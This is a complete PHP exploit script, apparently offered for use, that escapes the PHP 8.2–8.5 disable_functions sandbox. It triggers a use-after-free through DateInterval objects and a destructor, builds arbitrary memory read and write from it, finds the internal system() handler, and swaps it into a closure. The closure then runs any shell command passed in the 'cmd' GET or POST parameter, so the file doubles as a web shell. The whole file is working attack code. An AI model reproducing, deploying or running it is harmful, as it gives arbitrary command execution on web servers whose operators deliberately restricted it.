<?php
/**
 * TimeAfterFree — PHP 8 Sandbox Escape (Parameterized Version)
 * PHP 8.2.x - 8.5.x disable_functions bypass
 *
 * Usage: ?cmd=id  or  POST cmd=id
 * Default: uname -a
 */

$cmd = $_GET['cmd'] ?? $_POST['cmd'] ?? 'uname -a';

class Logger
{
    private static $logging = false;  // Set true for debug output

    public static function log($format, ...$args)
    {
        if (!self::$logging) {
            return;
        }
        printf($format . PHP_EOL, ...$args);
    }
}

function alloc($size, $canary)
{
    return str_shuffle(str_repeat($canary, $size));
}

function ptr2str($addr, $n = 8)
{
    $s = '';
    while ($n--) {
        $s .= chr($addr & 0xff);
        $addr >>= 8;
    }
    return $s;
}

class FreeMe
{
    private $pwn;

    public function __construct($pwn)
    {
        $this->pwn = $pwn;
    }

    public function __destruct()
    {
        $this->pwn->helper = $this->pwn->array;
    }
}

class Pwn
{
    private const zend_string_header = 0x18;
    private const dateinterval_handlers_offset = PHP_VERSION_ID < 80500 ? 0x38 : 0x30;
    private const dateinterval_properties_offset = PHP_VERSION_ID < 80500 ? 0x40 : 0x38;
    private const zend_fe_size = PHP_VERSION_ID < 80400 ? 0x20 : 0x30;
    private const zif_handler_offset = PHP_VERSION_ID < 80400 ? 0x80 : 0x90;

    public $array;
    public $helper;

    private $interval;
    private $allocator;

    public function __construct($cmd)
    {
        $this->allocator = [];
        $this->go($cmd);
    }

    private function go($cmd)
    {
        $interval_addr = $this->heap_leak();
        Logger::log("[+] DateInterval @ 0x%x", $interval_addr);

        $handlers = $this->read($interval_addr + self::dateinterval_handlers_offset);
        Logger::log("[+] DateInterval handlers @ 0x%x", $handlers);

        $standard_module = $this->get_standard_module($handlers);
        Logger::log("[+] standard module @ 0x%x", $standard_module);

        $standard_functions = $this->read($standard_module + 0x28);
        Logger::log("[+] standard functions @ 0x%x", $standard_functions);

        $system = $this->get_system($standard_functions);
        Logger::log("[+] system @ 0x%x", $system);

        @$this->interval->system1337 = function ($x) {};
        $properties = $this->read($interval_addr + self::dateinterval_properties_offset);
        $arData = $this->read($properties + 0x10);

        $closure_index = -1;
        do {
            $closure_index += 1;
            $offset = 32 * $closure_index + 0x18;
            $key = $this->read($arData + $offset);
            $str = ptr2str($this->read($key + self::zend_string_header));
        } while ($str !== 'system13');

        $closure_addr = $this->read($arData + 32 * $closure_index);
        Logger::log("[+] closure @ 0x%x", $closure_addr);

        $this->write($closure_addr + 0x38, 1, 4);
        $this->write($closure_addr + self::zif_handler_offset, $system);
        ($this->interval->system1337)($cmd);
        exit(0);
    }

    private function heap_leak()
    {
        for ($i = 0; $i < 63; $i++) {
            $this->allocator[] = new DateInterval('PT0S');
        }

        $a = "aaaa";
        $this->array = [
            $a,
            new DateInterval('PT0S'),
            new DateInterval('PT0S'),
            new FreeMe($this),
        ];
        @$this->array .= 'x';

        $addr = $this->helper[2]->y;
        $this->allocator[] = alloc(0xa0 - self::zend_string_header - 1, "\x00");

        $d1 = new DateInterval('PT0S');
        $d2 = new DateInterval('PT0S');
        $this->interval = new DateInterval('PT0S');

        return $addr;
    }

    private function write($addr, $value, $bytes = 8)
    {
        $mask = $bytes >= 8 ? -1 : ((1 << ($bytes * 8)) - 1);

        $a = "aaaa";
        $this->array = [
            $a,
            new DateInterval('PT0S'),
            new DateInterval('PT0S'),
            new FreeMe($this),
        ];
        @$this->array .= 'x';

        $block_addr = $this->helper[2]->y;

        $this->helper[2]->y = $addr;
        $this->helper[1]->y &= ~$mask;
        $this->helper[1]->y |= ($value & $mask);
        $this->helper[2]->y = $block_addr;
        $r = $this->helper[1]->y;
    }

    private function read($addr, $bytes = 8)
    {
        $a = "aaaa";
        $this->array = [
            $a,
            new DateInterval('PT0S'),
            new DateInterval('PT0S'),
            new FreeMe($this),
        ];
        @$this->array .= 'x';

        $block_addr = $this->helper[2]->y;

        $this->helper[2]->y = $addr;
        $value = $this->helper[1]->y;
        $this->helper[2]->y = $block_addr;
        $r = $this->helper[1]->y;

        if ($bytes !== 8) {
            $value &= (1 << ($bytes << 3)) - 1;
        }

        return $value;
    }

    private function get_standard_module($addr)
    {
        while (true) {
            $addr -= 0x10;
            if ($this->read($addr, 4) === 0xa8 &&
                in_array($this->read($addr + 4, 4),
                    [20220829, 20230831, 20240924, 20250925]
                )) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if ($module_name === 0x647261646e617473) {
                    return $addr;
                }
            }
        }
    }

    private function get_system($standard_functions)
    {
        $addr = $standard_functions;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if ($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += self::zend_fe_size;
        } while ($f_entry !== 0);
    }
}

new Pwn($cmd);
